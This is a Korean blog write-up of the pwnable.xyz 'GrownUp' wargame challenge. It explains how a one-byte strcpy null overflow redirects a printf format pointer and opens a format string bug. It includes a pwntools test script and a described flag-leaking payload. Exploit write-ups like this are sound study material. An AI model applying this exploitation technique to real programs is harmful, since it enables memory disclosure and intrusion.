Pwnstar

Pwnable.xyz GrownUp 본문

Wargame/pwnable.xyz

Pwnable.xyz GrownUp

포너블처돌이 2020. 11. 12. 00:39

어제 숙취 때문에 죽다 살아나서 라업을 못썼다. 거의 한달만에 술을 많이 먹어서 하루종일 누워있다 저녁쯤에나 정신 차리고 해장했음....

아무튼 문제를 풀어보자.

보호기법은 카나리와 NX bit가 걸려있다.

IDA로 디컴파일 코드를 보자

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // ST08_8
  __int64 buf; // [rsp+10h] [rbp-20h]
  __int64 v6; // [rsp+18h] [rbp-18h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  buf = 0LL;
  v6 = 0LL;
  printf("Are you 18 years or older? [y/N]: ");
  *((_BYTE *)&buf + (signed int)((unsigned __int64)read(0, &buf, 0x10uLL) - 1)) = 0;
  if ( (_BYTE)buf != 121 && (_BYTE)buf != 89 )
    return 0;
  src = (char *)malloc(0x84uLL);
  printf("Name: ", &buf);
  read(0, src, 0x80uLL);
  strcpy(usr, src);
  printf("Welcome ", src);
  printf(qword_601160, usr);
  return 0;
}

 

메인함수 구조는 간단하다 18살 이상인지 물어보는 질문이 나오고 대답이 Y나 y가 아니면 종료한다. 대답이 y나 Y라면 src에 0x84만큼의 할당을 해주고 이름으로 0x80만큼 입력을 받는다. 그리고 입력받은 src에서 usr로 strcpy함수로 복사해주고, printf함수로 src와 usr를 출력해주는데, qword_601160이 뭔지 한 번 보자.

601160이 또 호출된 곳이 있는지 확인해봤는데, setup함수에서 호출된 적이 있었다.

unsigned int setup()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  signal(14, handler);
  qword_601160 = &byte_601168;
  byte_601168 = 0x25;
  byte_601169 = 0x73;
  byte_60116A = 0xA;
  return alarm(0x3Cu);
}

601160주소에는 601168이라는 주소가 담겨있고 이 주소에는 아스키코드 값 같은 세 바이트가 들어있다.

확인해보니 %s\n이다.

즉 두번째 printf는 곧 printf("%s\n", usr)이다.

이 문제의 취약점은 strcpy함수에서 일어난다. strcpy는 문자열 마지막에 NULL바이트를 하나 붙여주는데, 이 때문에 src에서 usr로 복사할 때 0x80이 아닌0x81바이트만큼 덮어쓰게 된다.

이게 왜 문제가 되느냐 하면 usr+0x80이 바로 0x601160인데, 앞서 설명했듯 여기에는 0x601168이라는 주소가 존재하는데, 이 주소에 NULL바이트로 한 바이트 덮어쓰게 되어 0x601100으로 바뀌게 된다.

strcpy함수가 실행되기 전의 usr 공간의 상태이다.

여기서 A를 128바이트 입력하게 되면

다음과 같이 0x601160에 있어야 할 0x601168의 주소가 0x601100으로 바뀌어 있다.

이것을 이용해서 format string bug를 터트릴 수 있는데, printf(qword_601160, usr); 이 코드에서 "%s\n"이 들어있는 0x601168의 주소 대신 AAAA가 들어 있는 0x601100으로 주소가 바뀌어 있다.

만약 이 부분에 %x라든가 다른 포맷 스트링을 넣게 되면 스택 메모리의 내용을 출력해줄 수 있을 것이다. 한 번 테스트를 해 보자. 그 이전에 0x20만큼의 dummy를 넣어주고 %x를 10개정도 입력한 후 나머지 부분에 128만큼 채워주기 위한 dummy를 또 넣어보자

test.py

from pwn import*

p = process("./GrownUpRedist")
#p = remote("svc.pwnable.xyz", 30004)

p.recvuntil("Are you 18 years or older? [y/N]: ")

payload = "y"

p.sendline(payload)

stri = "%x %x %x %x %x %x %x %x %x %x"

payload2 = "A"*32
payload2 += stri
payload2 += "A"*(128-len(payload2))

#p.recvuntil("Name: ")
log.info(len(payload2))
p.send(payload2)

p.interactive()

코드를 이렇게 짠 후 보내주면

이렇게 입력한 스택을 볼 수 있다. 그리고 중간에 0x79는 당연히 내가 입력한 y일 것이다.

그러면 이걸로 플래그를 볼 수 있다거나 덮어쓸 수 있는 주소를 볼 수 있어야 하는데...솔직히 말하면 방법이야 있을 것도 같지만 한달동안 머리가 돌이 되어버려서 전형적인 fsb로 풀기가 너무 귀찮았다. 그래서 IDA를 보다가

요런 선물을 발견했다.

이야...그러면 처음에 18살 이상인지 물어보는 질문에서 16바이트나 입력을 받을 수 있었으니 8바이트로 크기를 맞춰주면서 flag의 주소를 넣어주고 그게 몇번째 format에 위치하는지만 파악하면 될 것 같다.

오우 바로 나와버렸고~

format string을 10개 넣었으니 9번째에 flag가 위치하는 것이구만

바로 9번째 %x를 %s로 바꿔주고 리모트로 돌려보자

 

짠!!

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz xor  (0) 2020.11.13
Pwnable.xyz note  (0) 2020.11.12
Pwnable.xyz misalignment  (0) 2020.11.09
Pwnable.xyz add  (0) 2020.11.09
Pwnable.xyz sub  (0) 2020.11.09
Comments